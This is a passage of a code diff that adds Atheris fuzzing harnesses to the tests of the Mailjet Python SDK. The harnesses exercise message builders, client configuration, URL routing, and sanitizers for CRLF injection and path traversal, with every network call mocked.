+ name=fdp.ConsumeUnicodeNoSurrogates(20) if fdp.ConsumeBool() else None
+ )
+
+ for _ in range(fdp.ConsumeIntInRange(1, 3)):
+ builder.add_recipient(
+ email=fdp.ConsumeUnicodeNoSurrogates(20),
+ name=fdp.ConsumeUnicodeNoSurrogates(20) if fdp.ConsumeBool() else None
+ )
+
+ for _ in range(fdp.ConsumeIntInRange(0, 2)):
+ builder.add_cc(
+ email=fdp.ConsumeUnicodeNoSurrogates(20),
+ name=fdp.ConsumeUnicodeNoSurrogates(20) if fdp.ConsumeBool() else None
+ )
+
+ for _ in range(fdp.ConsumeIntInRange(0, 2)):
+ builder.add_bcc(
+ email=fdp.ConsumeUnicodeNoSurrogates(20),
+ name=fdp.ConsumeUnicodeNoSurrogates(20) if fdp.ConsumeBool() else None
+ )
+
+ builder.set_subject(fdp.ConsumeUnicodeNoSurrogates(50))
+ builder.set_content(
+ text=fdp.ConsumeUnicodeNoSurrogates(100) if fdp.ConsumeBool() else None,
+ html=fdp.ConsumeUnicodeNoSurrogates(100) if fdp.ConsumeBool() else None,
+ )
+
+ builder.set_template(fdp.ConsumeInt(10000))
+
+ # Fuzz mocked file ingestion
+ virtual_file_name = fdp.ConsumeUnicodeNoSurrogates(15)
+ virtual_file_data = fdp.ConsumeBytes(100)
+
+ with patch("pathlib.Path.is_file", return_value=True), \
+ patch("pathlib.Path.stat", return_value=MagicMock(st_size=len(virtual_file_data))), \
+ patch("pathlib.Path.read_bytes", return_value=virtual_file_data):
+
+ if fdp.ConsumeBool():
+ builder.attach_file(virtual_file_name)
+ if fdp.ConsumeBool():
+ builder.attach_inline_image(virtual_file_name) # type: ignore[attr-defined]
+
+ builder.build()
+ except (ValueError, TypeError, ValidationError, AttributeError, KeyError, OSError):
+ # Expected under fuzzed/random inputs; ignore to continue fuzzing.
+ pass
+
+ # ==========================================
+ # BLOCK 3: Template Content Builder
+ # ==========================================
+ try:
+ t_builder = TemplateContentBuilder()
+ t_builder.set_meta(
+ author=fdp.ConsumeUnicodeNoSurrogates(20),
+ name=fdp.ConsumeUnicodeNoSurrogates(20)
+ )
+ t_builder.set_content( # type: ignore[call-arg]
+ text=fdp.ConsumeUnicodeNoSurrogates(50) if fdp.ConsumeBool() else None,
+ html=fdp.ConsumeUnicodeNoSurrogates(50) if fdp.ConsumeBool() else None,
+ mjml=fdp.ConsumeUnicodeNoSurrogates(50) if fdp.ConsumeBool() else None # pyright: ignore[reportCallIssue]
+ )
+
+ headers = {}
+ for _ in range(fdp.ConsumeIntInRange(0, 2)):
+ headers[fdp.ConsumeUnicodeNoSurrogates(10)] = fdp.ConsumeUnicodeNoSurrogates(10)
+ t_builder.set_headers(headers)
+
+ t_builder.build()
+ except (ValueError, TypeError, ValidationError, AttributeError, KeyError, OSError):
+ # Expected for malformed fuzz inputs; keep fuzzing instead of failing the harness.
+ pass
+
+def main() -> None:
+ atheris.instrument_all()
+ atheris.Setup(sys.argv, TestOneInput)
+ atheris.Fuzz()
+
+if __name__ == "__main__":
+ main()
diff --git a/tests/fuzz/fuzz_client.py b/tests/fuzz/fuzz_client.py
new file mode 100644
index 0000000..e0468ca
--- /dev/null
+++ b/tests/fuzz/fuzz_client.py
@@ -0,0 +1,109 @@
+import atheris
+import sys
+import logging
+from typing import Any
+from unittest.mock import patch
+
+import requests
+from mailjet_rest.errors import MailjetAuthError, CriticalApiError, ApiError, ValidationError
+
+
+with atheris.instrument_imports():
+ from mailjet_rest.client import Client
+
+# Suppress the SDK's noisy error logging during fuzzing
+logging.getLogger("mailjet_rest").setLevel(logging.CRITICAL + 1)
+
+def TestOneInput(data: bytes) -> None:
+ if len(data) < 10:
+ return
+
+ fdp = atheris.FuzzedDataProvider(data)
+
+ # ---------------------------------------------------------
+ # Fuzzing Authentication Modes (Basic Tuple vs Bearer)
+ # ---------------------------------------------------------
+ auth: Any
+ auth_mode = fdp.ConsumeIntInRange(0, 2)
+ if auth_mode == 0:
+ # Tuple Auth (Basic)
+ auth = (fdp.ConsumeUnicodeNoSurrogates(10), fdp.ConsumeUnicodeNoSurrogates(10))
+ elif auth_mode == 1:
+ # String Auth (Bearer Token)
+ auth = fdp.ConsumeUnicodeNoSurrogates(20)
+ else:
+ # Malformed Auth Tuple (e.g. wrong size/types)
+ auth = (fdp.ConsumeInt(10),) # pyright: ignore[reportArgumentType]
+
+ # ---------------------------------------------------------
+ # Fuzzing API Versioning
+ # ---------------------------------------------------------
+ versions = ["v1", "v3", "v3.1", fdp.ConsumeUnicodeNoSurrogates(5)]
+ fuzzed_version = fdp.PickValueInList(versions)
+
+ try:
+ # Client initialization is now dynamically fuzzed per execution
+ client = Client(auth=auth, version=fuzzed_version) # type: ignore[arg-type] # pyright: ignore[reportArgumentType]
+ except (ValueError, TypeError, ValidationError):
+ # SDK successfully blocked invalid configuration; move to next mutation
+ return
+
+ valid_methods = ["GET", "POST", "PUT", "DELETE", "PATCH", fdp.ConsumeUnicodeNoSurrogates(5)]
+ method = fdp.PickValueInList(valid_methods)
+ if method not in valid_methods:
+ method = "GET"
+
+ url = fdp.ConsumeUnicodeNoSurrogates(50)
+ payload = fdp.ConsumeBytes(100)
+
+ try:
+ def mock_request(*args: Any, **kwargs: Any) -> Any:
+ # Chance to simulate a violent network drop
+ if fdp.ConsumeBool() and fdp.ConsumeBool():
+ exceptions = [
+ requests.exceptions.ConnectionError("Fuzzed Connection Drop"),
+ requests.exceptions.Timeout("Fuzzed Timeout"),
+ requests.exceptions.ChunkedEncodingError("Fuzzed Chunk Error")
+ ]
+ raise fdp.PickValueInList(exceptions)
+
+ headers = kwargs.get("headers", {})
+ for key, val in headers.items():
+ if "\n" in str(val) or "\r" in str(val):
+ raise RuntimeError(f"CRLF bypassed in header! {key}: {val}")
+
+ # Poison the Response!
+ resp = requests.Response()
+ resp.status_code = fdp.ConsumeIntInRange(200, 599)
+ resp.headers = { # type: ignore[assignment]
+ fdp.ConsumeUnicodeNoSurrogates(10): fdp.ConsumeUnicodeNoSurrogates(20)
+ }
+ resp._content = fdp.ConsumeBytes(150)
+ return resp
+
+ malicious_headers = {
+ fdp.ConsumeUnicodeNoSurrogates(10): fdp.ConsumeUnicodeNoSurrogates(30)
+ }
+
+ with patch.object(client.session, 'request', side_effect=mock_request):
+ client.api_call(
+ method=method,
+ url=url,
+ data=payload,
+ headers=malicious_headers
+ )
+
+ chaotic_dict = {fdp.ConsumeUnicodeNoSurrogates(10): fdp.ConsumeUnicodeNoSurrogates(10)}
+ client._extract_telemetry(chaotic_dict, None)
+
+ except (ValueError, TypeError, MailjetAuthError, CriticalApiError, ApiError, ValidationError, requests.exceptions.RequestException):
+ # Silently catch all expected routing, validation, and mocked network errors
+ pass
+
+def main() -> None:
+ atheris.instrument_all()
+ atheris.Setup(sys.argv, TestOneInput)
+ atheris.Fuzz()
+
+if __name__ == "__main__":
+ main()
diff --git a/tests/fuzz/fuzz_config.py b/tests/fuzz/fuzz_config.py
new file mode 100644
index 0000000..8859361
--- /dev/null
+++ b/tests/fuzz/fuzz_config.py
@@ -0,0 +1,49 @@
+import atheris
+import sys
+
+from mailjet_rest import ValidationError, MailjetAuthError
+from mailjet_rest.config import Config
+
+
+with atheris.instrument_imports():
+ pass
+
+def TestOneInput(data: bytes) -> None:
+ if len(data) < 10:
+ return
+ fdp = atheris.FuzzedDataProvider(data)
+ try:
+ # Create aggressive type confusion
+ chaos_types = [
+ fdp.ConsumeInt(100), # Valid Int
+ fdp.ConsumeFloat(), # Valid Float
+ fdp.ConsumeUnicodeNoSurrogates(10),# Invalid String
+ fdp.ConsumeBytes(10), # Invalid Bytes
+ [], # Invalid List
+ None # Invalid None
+ ]
+
+ config = Config(
+ api_url=fdp.ConsumeUnicodeNoSurrogates(100),
+ version=fdp.ConsumeUnicodeNoSurrogates(10),
+ timeout=fdp.PickValueInList(chaos_types)
+ )
+
+ # Fuzz the magic __getitem__ routing logic
+ routing_key = fdp.ConsumeUnicodeNoSurrogates(20)
+ _url, _headers = config[routing_key]
+
+ except (ValueError, TypeError, ValidationError, MailjetAuthError):
+ # We expect Config to reject bad inputs; catching this keeps the fuzzer running
+ pass
+ except Exception as e:
+ # If we get an unhandled crash, we want the fuzzer to stop
+ raise RuntimeError(f"Config crashed on input: {e}") from e
+
+def main() -> None:
+ atheris.instrument_all()
+ atheris.Setup(sys.argv, TestOneInput)
+ atheris.Fuzz()
+
+if __name__ == "__main__":
+ main()
diff --git a/tests/fuzz/fuzz_core.py b/tests/fuzz/fuzz_core.py
new file mode 100644
index 0000000..297187a
--- /dev/null
+++ b/tests/fuzz/fuzz_core.py
@@ -0,0 +1,83 @@
+import atheris
+import sys
+
+from mailjet_rest import ValidationError, MailjetAuthError
+
+
+# Instrument all internal modules
+with atheris.instrument_imports():
+ from mailjet_rest.client import Client
+ from mailjet_rest.config import Config
+ from mailjet_rest.endpoint import _route_csv, _route_data
+ from mailjet_rest.utils.guardrails import SecurityGuard
+
+def fuzz_config(fdp: atheris.FuzzedDataProvider) -> None:
+ """Target 1: Config Validation."""
+ try:
+ Config(
+ api_url=fdp.ConsumeUnicodeNoSurrogates(30),
+ version=fdp.ConsumeUnicodeNoSurrogates(5),
+ user_agent=fdp.ConsumeUnicodeNoSurrogates(20),
+ timeout=fdp.ConsumeInt(100) if fdp.ConsumeBool() else fdp.ConsumeUnicodeNoSurrogates(10)
+ )
+ except (ValueError, TypeError):
+ # Invalid fuzzed config values are expected; ignore and continue fuzzing.
+ pass
+
+def fuzz_routing(fdp: atheris.FuzzedDataProvider) -> None:
+ """Target 2: URL Routing and Path Traversal Prevention."""
+ base = fdp.ConsumeUnicodeNoSurrogates(10)
+ ver = fdp.ConsumeUnicodeNoSurrogates(5)
+ parts = [fdp.ConsumeUnicodeNoSurrogates(10)]
+ id_val = fdp.ConsumeUnicodeNoSurrogates(10)
+
+ try:
+ _route_csv(base, ver, parts, id_val, "action", "name_csvdata")
+ # FIX: Added the required 6th argument ("dummy_name") here
+ _route_data(base, ver, parts, id_val, "action", "dummy_name")
+ except (ValueError, ValidationError, MailjetAuthError):
+ # We expect and allow explicit validation rejections (like CWE-22 Path Traversal blocks)
+ pass
+ except Exception as e:
+ # Any other exception (like IndexError or unhandled TypeError) is a genuine crash
+ raise RuntimeError(f"Routing crashed on malformed input: {e}") from e
+
+def fuzz_telemetry(fdp: atheris.FuzzedDataProvider) -> None:
+ """Target 3: Telemetry Extraction."""
+ num_keys = fdp.ConsumeIntInRange(1, 10)
+ chaotic_dict = {
+ fdp.ConsumeUnicodeNoSurrogates(10): fdp.ConsumeUnicodeNoSurrogates(20)
+ for _ in range(num_keys)
+ }
+ Client._extract_telemetry(chaotic_dict, None)
+
+def fuzz_guardrails(fdp: atheris.FuzzedDataProvider) -> None:
+ """Target 4: SecurityGuard Sanitization."""
+ dangerous_string = fdp.ConsumeUnicodeNoSurrogates(50)
+ SecurityGuard.sanitize_log_trace(dangerous_string)
+
+def TestOneInput(data: bytes) -> None:
+ """Main Router: Dynamically choose target based on input bytes."""
+ if len(data) < 5:
+ return
+
+ fdp = atheris.FuzzedDataProvider(data)
+ target = fdp.ConsumeIntInRange(0, 3)
+
+ # Route to specific subsystem
+ if target == 0:
+ fuzz_config(fdp)
+ elif target == 1:
+ fuzz_routing(fdp)
+ elif target == 2:
+ fuzz_telemetry(fdp)
+ else:
+ fuzz_guardrails(fdp)
+
+def main() -> None:
+ atheris.instrument_all()
+ atheris.Setup(sys.argv, TestOneInput)
+ atheris.Fuzz()
+
+if __name__ == "__main__":
+ main()
diff --git a/tests/fuzz/fuzz_csv_import_flow.py b/tests/fuzz/fuzz_csv_import_flow.py
new file mode 100644
index 0000000..5106e63
--- /dev/null
+++ b/tests/fuzz/fuzz_csv_import_flow.py
@@ -0,0 +1,64 @@
+import sys
+import atheris
+from typing import Any
+
+with atheris.instrument_imports():
+ from mailjet_rest import Client
+
+# ==========================================
+# GLOBAL SETUP (No network calls allowed)
+# ==========================================
+client = Client(auth=("test", "test"), version="v3")
+
+class DumbResponse:
+ status_code = 200
+ def json(self) -> dict[str, Any]:
+ return {"ID": 12345, "Data": [{"ID": 67890}]}
+
+ @property
+ def text(self) -> str:
+ return ""
+
+def dumb_mock_request(*args: Any, **kwargs: Any) -> DumbResponse:
+ return DumbResponse()
+
+# Intercept all outbound network requests
+client.session.request = dumb_mock_request # type: ignore[method-assign, assignment]
+
+def TestOneInput(data: bytes) -> None:
+ # Cap size to prevent memory bottlenecks during CSV string synthesis
+ if len(data) > 4096:
+ return
+
+ fdp = atheris.FuzzedDataProvider(data)
+
+ # 1. Fuzz the CSV Upload Route
+ # Here we simulate feeding entirely broken, malformed, or injected strings
+ # instead of your clean data.csv file.
+ fuzzed_csv_data = fdp.ConsumeUnicodeNoSurrogates(1000)
+ list_id = fdp.ConsumeIntInRange(1, 99999999)
+
+ try:
+ client.contactslist_csvdata.create(id=list_id, data=fuzzed_csv_data)
+ except (ValueError, TypeError):
+ # Expected for malformed fuzz inputs; ignore and continue fuzzing.
+ pass
+
+ # 2. Fuzz the Import Job Creation Payload
+ # Can the SDK handle weird types, SQL injection tokens, or massive integers?
+ import_data = {
+ "Method": fdp.ConsumeUnicodeNoSurrogates(20),
+ "ContactsListID": list_id,
+ "DataID": fdp.ConsumeIntInRange(1, 99999999) if fdp.ConsumeBool() else fdp.ConsumeUnicodeNoSurrogates(10),
+ }
+
+ try:
+ client.csvimport.create(data=import_data)
+ except (ValueError, TypeError):
+ # Expected for malformed fuzz inputs; ignore and continue fuzzing.
+ pass
+
+if __name__ == "__main__":
+ atheris.instrument_all()
+ atheris.Setup(sys.argv, TestOneInput)
+ atheris.Fuzz()
diff --git a/tests/fuzz/fuzz_differential.py b/tests/fuzz/fuzz_differential.py
new file mode 100644
index 0000000..616ebc1
--- /dev/null
+++ b/tests/fuzz/fuzz_differential.py
@@ -0,0 +1,89 @@
+"""
+Differential Fuzzer for Mailjet API v3 vs v3.1
+
+This harness feeds the exact same fuzzed dictionary payload into both the
+v3 and v3.1 Send API endpoints. It mocks the outbound HTTP requests to test
+the internal SDK serialization, routing, and pre-flight validation logic.
+
+If one API version handles the payload safely but the other suffers an
+unhandled Python memory/type panic, the fuzzer flags a discrepancy.
+"""
+
+import sys
+import json
+from unittest.mock import patch, MagicMock
+
+import atheris
+
+with atheris.instrument_imports():
+ from mailjet_rest import Client
+
+
+# Initialize Clients globally to reduce instantiation overhead during fuzzing
+client_v3 = Client(auth=("fuzz_key", "fuzz_secret"), version="v3")
+client_v31 = Client(auth=("fuzz_key", "fuzz_secret"), version="v3.1")
+
+# Define which errors are considered "Dirty" (SDK crashed)
+# versus "Clean" (SDK safely caught the bad input)
+DIRTY_ERRORS = (KeyError, TypeError, AttributeError, IndexError, RecursionError)
+
+
+def TestOneInput(data: bytes) -> None:
+ """The Atheris fuzzing entry point."""
+
+ # 1. Transform raw bytes into a Python Dictionary payload
+ fdp = atheris.FuzzedDataProvider(data)
+ try:
+ # Consume as a JSON string to simulate API payload generation
+ payload_str = fdp.ConsumeUnicodeNoSurrogates(fdp.remaining_bytes())
+ payload = json.loads(payload_str)
+ if not isinstance(payload, dict):
+ return # We only care about JSON object payloads
+ except Exception:
+ return # Ignore generic JSON decoding errors (we are fuzzing the SDK, not the json library)
+
+ # 2. Mock the outbound HTTP connection
+ # We want to test the SDK's internal logic, not spam the real Mailjet API
+ with patch("requests.Session.request") as mock_request:
+ # Setup a dummy successful HTTP response
+ mock_response = MagicMock()
+ mock_response.status_code = 200
+ mock_response.json.return_value = {"Message": "Fuzzed"}
+ mock_request.return_value = mock_response
+
+ # 3. Execute v3 Logic
+ v3_exc = None
+ try:
+ client_v3.send.create(data=payload)
+ except Exception as e:
+ v3_exc = e
+
+ # 4. Execute v3.1 Logic
+ v31_exc = None
+ try:
+ client_v31.send.create(data=payload)
+ except Exception as e:
+ v31_exc = e
+
+ # 5. Differential Analysis
+ v3_is_dirty = isinstance(v3_exc, DIRTY_ERRORS)
+ v31_is_dirty = isinstance(v31_exc, DIRTY_ERRORS)
+
+ if v3_is_dirty != v31_is_dirty:
+ # One endpoint crashed violently, the other didn't.
+ error_msg = (
+ f"\n[!] DIFFERENTIAL VULNERABILITY DETECTED [!]\n"
+ f"-------------------------------------------\n"
+ f"Payload: {json.dumps(payload)}\n\n"
+ f"v3 Output : {type(v3_exc).__name__ if v3_exc else 'Success'} - {v3_exc}\n"
+ f"v3.1 Output : {type(v31_exc).__name__ if v31_exc else 'Success'} - {v31_exc}\n"
+ f"-------------------------------------------\n"
+ )
+ # Raising an AssertionError halts LibFuzzer and saves the crash artifact
+ raise AssertionError(error_msg)
+
+
+if __name__ == "__main__":
+ atheris.instrument_all()
+ atheris.Setup(sys.argv, TestOneInput)
+ atheris.Fuzz()
diff --git a/tests/fuzz/fuzz_differential_v3.py b/tests/fuzz/fuzz_differential_v3.py
new file mode 100644
index 0000000..809d7d5
--- /dev/null
+++ b/tests/fuzz/fuzz_differential_v3.py
@@ -0,0 +1,90 @@
+import sys
+import atheris
+from typing import Any
+
+with atheris.instrument_imports():
+ from mailjet_rest import Client
+
+# ==========================================
+# GLOBAL SETUP (Runs ONCE)
+# ==========================================
+client_v3 = Client(auth=("test", "test"), version="v3")
+client_v31 = Client(auth=("test", "test"), version="v3.1")
+
+# Create a "Dumb Mock" that doesn't record call history.
+# This prevents the 2GB Out-Of-Memory (OOM) crash during heavy fuzzing.
+class DumbResponse:
+ status_code = 200
+ def json(self) -> dict[str, Any]:
+ return {}
+
+ @property
+ def text(self) -> str:
+ return ""
+
+def dumb_mock_request(*args: Any, **kwargs: Any) -> DumbResponse:
+ return DumbResponse()
+
+client_v3.session.request = dumb_mock_request # type: ignore[method-assign, assignment]
+client_v31.session.request = dumb_mock_request # type: ignore[method-assign, assignment]
+
+
+def TestOneInput(data: bytes) -> None:
+ # Optional constraint: limit input size to avoid massive string allocation bottlenecks
+ if len(data) > 254:
+ return
+
+ fdp = atheris.FuzzedDataProvider(data)
+
+ # 1. Generate one piece of chaotic truth
+ email_str = fdp.ConsumeUnicodeNoSurrogates(50)
+
+ # 2. Inject it into both specifications
+ payload_v3 = {
+ "FromEmail": email_str,
+ "FromName": "Test",
+ "Subject": "Test",
+ "Text-part": "Test",
+ "Recipients": [{"Email": "target@example.com"}]
+ }
+
+ payload_v31 = {
+ "Messages": [{
+ "From": {"Email": email_str, "Name": "Test"},
+ "To": [{"Email": "target@example.com"}],
+ "Subject": "Test",
+ "TextPart": "Test"
+ }]
+ }
+
+ success_v3 = False
+ success_v31 = False
+
+ # Expected during fuzzing: invalid payloads should be treated as unsuccessful sends.
+ EXPECTED_REJECTIONS = (ValueError, TypeError)
+
+ try:
+ client_v3.send.create(data=payload_v3)
+ success_v3 = True
+ except EXPECTED_REJECTIONS as _exc:
+ # Expected fuzzing-time validation rejection: keep success_v3 as False.
+ _ = _exc
+
+ try:
+ client_v31.send.create(data=payload_v31)
+ success_v31 = True
+ except EXPECTED_REJECTIONS as _exc:
+ # Expected fuzzing-time validation rejection: keep success_v31 as False.
+ _ = _exc
+
+ # 3. Differential Assertion
+ if success_v3 != success_v31:
+ # If the SDK's validation logic is mathematically asymmetrical, force a fuzzer crash
+ raise AssertionError(
+ f"Differential Mismatch on Email: {repr(email_str)} | v3: {success_v3} vs v3.1: {success_v31}"
+ )
+
+if __name__ == "__main__":
+ atheris.instrument_all()
+ atheris.Setup(sys.argv, TestOneInput)
+ atheris.Fuzz()
diff --git a/tests/fuzz/fuzz_endpoint.py b/tests/fuzz/fuzz_endpoint.py
new file mode 100644
index 0000000..610dd20
--- /dev/null
+++ b/tests/fuzz/fuzz_endpoint.py
@@ -0,0 +1,74 @@
+"""Atheris fuzzing target for registry-based URL construction and routing."""
+
+import atheris
+import sys
+from unittest.mock import MagicMock
+
+with atheris.instrument_imports():
+ from mailjet_rest.endpoint import Endpoint
+ from mailjet_rest.client import Client
+ from mailjet_rest.errors import ValidationError
+
+def TestOneInput(data: bytes) -> None:
+ if len(data) < 5:
+ return
+ fdp = atheris.FuzzedDataProvider(data)
+
+ mock_client = MagicMock(spec=Client)
+ mock_client.api_call.return_value = MagicMock(status_code=200)
+
+ url_choices = [
+ "send", "contact", "contactslist_csvdata", "REST/contact", "DATA/contactslist",
+ fdp.ConsumeUnicodeNoSurrogates(20)
+ ]
+ url = fdp.PickValueInList(url_choices)
+
+ try:
+ endpoint = Endpoint(name=url, client=mock_client)
+ method_idx = fdp.ConsumeIntInRange(0, 3)
+
+ id_type = fdp.ConsumeIntInRange(0, 2)
+ if id_type == 0:
+ id_val = ""
+ elif id_type == 1:
+ id_val = fdp.ConsumeInt(100)
+ else:
+ id_val = fdp.ConsumeUnicodeNoSurrogates(15)
+
+ action_id = fdp.ConsumeUnicodeNoSurrogates(10) if fdp.ConsumeBool() else None
+
+ # Aggressively Fuzz Pagination and Filters
+ filters = {}
+ if fdp.ConsumeBool():
+ # Fuzz massive, negative, and 0 limits
+ filters["limit"] = fdp.ConsumeIntInRange(-100, 1000000)
+ if fdp.ConsumeBool():
+ filters["offset"] = fdp.ConsumeIntInRange(-100, 1000000)
+ if fdp.ConsumeBool():
+ filters["sort"] = fdp.ConsumeUnicodeNoSurrogates(15)
+ if fdp.ConsumeBool():
+ filters["countOnly"] = fdp.ConsumeBool()
+
+ # Add random noise payload
+ payload = {fdp.ConsumeUnicodeNoSurrogates(5): fdp.ConsumeUnicodeNoSurrogates(10)}
+
+ if method_idx == 0:
+ endpoint.get(id=id_val, action_id=action_id, filters=filters)
+ elif method_idx == 1:
+ endpoint.create(data=payload, action_id=action_id)
+ elif method_idx == 2:
+ endpoint.update(id=id_val, data=payload, action_id=action_id)
+ else:
+ endpoint.delete(id=id_val, action_id=action_id)
+
+ except (ValueError, TypeError, AttributeError, KeyError, ValidationError):
+ # Invalid/malformed fuzz inputs are expected here; ignore and continue fuzzing.
+ pass
+
+def main() -> None:
+ atheris.instrument_all()
+ atheris.Setup(sys.argv, TestOneInput)
+ atheris.Fuzz()
+
+if __name__ == "__main__":
+ main()
diff --git a/tests/fuzz/fuzz_evil_server.py b/tests/fuzz/fuzz_evil_server.py
new file mode 100644
index 0000000..36496f7
--- /dev/null
+++ b/tests/fuzz/fuzz_evil_server.py
@@ -0,0 +1,57 @@
+from typing import Any
+import sys
+import os
+import contextlib
+import logging
+import atheris
+import requests
+
+with atheris.instrument_imports():
+ from mailjet_rest import Client
+
+# Globally disable all SDK logging during fuzzing
+logging.disable(logging.CRITICAL)
+
+def TestOneInput(data: bytes) -> None:
+ fdp = atheris.FuzzedDataProvider(data)
+ client = Client(auth=("test", "test"), version="v3")
+
+ # Intercept the exact requests.Session HTTP invocation
+ original_send = client.session.send
+
+ def evil_send(request: Any, **kwargs: Any) -> requests.Response:
+ if fdp.ConsumeBool():
+ # 1. Simulate violent network transport panics
+ exceptions = [
+ requests.exceptions.ConnectionError("Fuzzed Connection Drop"),
+ requests.exceptions.Timeout("Fuzzed Timeout"),
+ requests.exceptions.ChunkedEncodingError("Fuzzed Chunk Error")
+ ]
+ raise fdp.PickValueInList(exceptions)
+
+ # 2. Simulate malformed upstream API JSON and headers
+ resp = requests.Response()
+ resp.status_code = fdp.ConsumeIntInRange(100, 599)
+ resp._content = fdp.ConsumeBytes(fdp.ConsumeIntInRange(0, 1024))
+ resp.headers = {fdp.ConsumeUnicodeNoSurrogates(10): fdp.ConsumeUnicodeNoSurrogates(10)} # type: ignore[assignment]
+ return resp
+
+ client.session.send = evil_send # type: ignore[method-assign]
+
+ # 3. Brutally silence ALL output (stdout, stderr) during the fuzzing iteration
+ # This prevents SDK tracebacks from choking the terminal I/O
+ with open(os.devnull, "w") as devnull:
+ with contextlib.redirect_stdout(devnull), contextlib.redirect_stderr(devnull):
+ try:
+ client.send.create(data={"dummy": "data"})
+ except Exception:
+ # Catch absolutely everything to prevent fuzzer from stopping on anticipated network panics
+ pass
+
+ # Restore the mock to avoid state bleed
+ client.session.send = original_send # type: ignore[method-assign]
+
+if __name__ == "__main__":
+ atheris.instrument_all()
+ atheris.Setup(sys.argv, TestOneInput)
+ atheris.Fuzz()
diff --git a/tests/fuzz/fuzz_guardrails.py b/tests/fuzz/fuzz_guardrails.py
new file mode 100644
index 0000000..c572344
--- /dev/null
+++ b/tests/fuzz/fuzz_guardrails.py
@@ -0,0 +1,69 @@
+import atheris
+import sys
+import logging
+
+from mailjet_rest.utils.guardrails import SecurityGuard
+
+with atheris.instrument_imports():
+ pass
+
+def fuzz_log_sanitization(fdp: atheris.FuzzedDataProvider) -> None:
+ """Target 1: Log Forging (CWE-117) prevention."""
+ dangerous_input = fdp.ConsumeUnicodeNoSurrogates(100)
+ sanitized = SecurityGuard.sanitize_log_trace(dangerous_input)
+ if "\r" in sanitized or "\n" in sanitized:
+ raise RuntimeError("Security Failure: Sanitizer failed to block CRLF injection")
+
+def fuzz_path_jailing(fdp: atheris.FuzzedDataProvider) -> None:
+ """Target 2: Path Traversal (CWE-22) prevention."""
+ try:
+ path_input = fdp.ConsumeUnicodeNoSurrogates(50)
+ SecurityGuard.validate_attachment_path(path_input, safe_base_dir="/tmp/safe")
+ except (ValueError, FileNotFoundError):
+ # Expected for malformed or nonexistent fuzzed paths; continue fuzzing this target.
+ pass
+
+def fuzz_crlf_headers(fdp: atheris.FuzzedDataProvider) -> None:
+ """Target 3: CRLF Injection in Dictionary values."""
+ try:
+ fuzzed_dict = {fdp.ConsumeUnicodeNoSurrogates(10): fdp.ConsumeUnicodeNoSurrogates(30)}
+ SecurityGuard.validate_crlf_headers(fuzzed_dict)
+ except ValueError:
+ # Expected for malformed fuzzed header values; keep fuzzing without failing this case.
+ pass
+
+def fuzz_attribute_access(fdp: atheris.FuzzedDataProvider) -> None:
+ """Target 4: Magic method interception."""
+ try:
+ SecurityGuard.validate_attribute_access(
+ class_name=fdp.ConsumeUnicodeNoSurrogates(15),
+ name=fdp.ConsumeUnicodeNoSurrogates(15)
+ )
+ except AttributeError:
+ # Expected for invalid/malformed fuzzed attribute targets; continue fuzzing.
+ pass
+
+def TestOneInput(data: bytes) -> None:
+ if len(data) < 3:
+ return
+
+ fdp = atheris.FuzzedDataProvider(data)
+ target = fdp.ConsumeIntInRange(0, 3)
+
+ if target == 0:
+ fuzz_log_sanitization(fdp)
+ elif target == 1:
+ fuzz_path_jailing(fdp)
+ elif target == 2:
+ fuzz_crlf_headers(fdp)
+ else:
+ fuzz_attribute_access(fdp)
+
+if __name__ == "__main__":
+ atheris.instrument_all()
+ atheris.Setup(sys.argv, TestOneInput)
+ # MUTE THE SDK LOGGING to prevent I/O console bottlenecks
+ # and let the fuzzer run at maximum CPU speed.
+ logging.disable(logging.CRITICAL)
+
+ atheris.Fuzz()
diff --git a/tests/fuzz/fuzz_state_machine.py b/tests/fuzz/fuzz_state_machine.py
new file mode 100644
index 0000000..b90b8f6
--- /dev/null
+++ b/tests/fuzz/fuzz_state_machine.py
@@ -0,0 +1,62 @@
+"""Atheris target for Stateful/Temporal execution manipulation."""
+import atheris
+import sys
+from unittest.mock import MagicMock
+
+with atheris.instrument_imports():
+ from mailjet_rest import Client
+ from mailjet_rest.builders import MessageBuilder
+ from mailjet_rest.config import Config
+ from mailjet_rest.errors import ApiError
+
+def TestOneInput(data: bytes) -> None:
+ if len(data) < 10:
+ return
+ fdp = atheris.FuzzedDataProvider(data)
+
+ try:
+ # Initialize base state with mocked API caller to prevent real network calls
+ client = Client(auth=("key", "sec"))
+ client.api_call = MagicMock(return_value=MagicMock(status_code=200, json=lambda: {"Data": []})) # type: ignore[method-assign]
+ builder = MessageBuilder()
+
+ num_operations = fdp.ConsumeIntInRange(1, 10)
+ for _ in range(num_operations):
+ op = fdp.ConsumeIntInRange(0, 5)
+
+ if op == 0:
+ client.config = Config(api_url=fdp.ConsumeUnicodeNoSurrogates(20))
+ elif op == 1:
+ builder.add_recipient(fdp.ConsumeUnicodeNoSurrogates(10))
+ elif op == 2:
+ builder._msg = {}
+ elif op == 3:
+ payload = builder.build()
+ client._execute_request("POST", "https://api.mailjet.com/v3/send", data=payload) # type: ignore[call-arg]
+ elif op == 4:
+ client.auth = (fdp.ConsumeUnicodeNoSurrogates(5), None) # type: ignore[attr-defined]
+
+ # API Lifecycle Simulation (CRUD Chaos)
+ elif op == 5:
+ endpoint_name = fdp.PickValueInList(["template", "contact", "campaign", "sender"])
+ ep = getattr(client, endpoint_name)
+ fuzzed_id = fdp.ConsumeInt(100000) if fdp.ConsumeBool() else fdp.ConsumeUnicodeNoSurrogates(15)
+ fuzzed_data = {fdp.ConsumeUnicodeNoSurrogates(5): fdp.ConsumeUnicodeNoSurrogates(10)}
+
+ # Execute sequential lifecycle Operations rapidly
+ ep.create(data=fuzzed_data)
+ ep.get(id=fuzzed_id)
+ ep.update(id=fuzzed_id, data=fuzzed_data)
+ ep.delete(id=fuzzed_id)
+
+ except (ValueError, TypeError, AttributeError, KeyError, ApiError):
+ # We expect validation drops, but NOT memory corruption or unhandled runtime faults
+ pass
+
+def main() -> None:
+ atheris.instrument_all()
+ atheris.Setup(sys.argv, TestOneInput)
+ atheris.Fuzz()
+
+if __name__ == "__main__":
+ main()
diff --git a/tests/fuzz/fuzz_state_sequence.py b/tests/fuzz/fuzz_state_sequence.py
new file mode 100644
index 0000000..d893c03
--- /dev/null
+++ b/tests/fuzz/fuzz_state_sequence.py
@@ -0,0 +1,39 @@
+import sys
+import atheris
+from unittest.mock import Mock
+
+with atheris.instrument_imports():
+ from mailjet_rest import Client
+ from mailjet_rest.errors import ApiError
+
+def TestOneInput(data: bytes) -> None:
+ fdp = atheris.FuzzedDataProvider(data)
+ client = Client(auth=("test", "test"), version="v3")
+
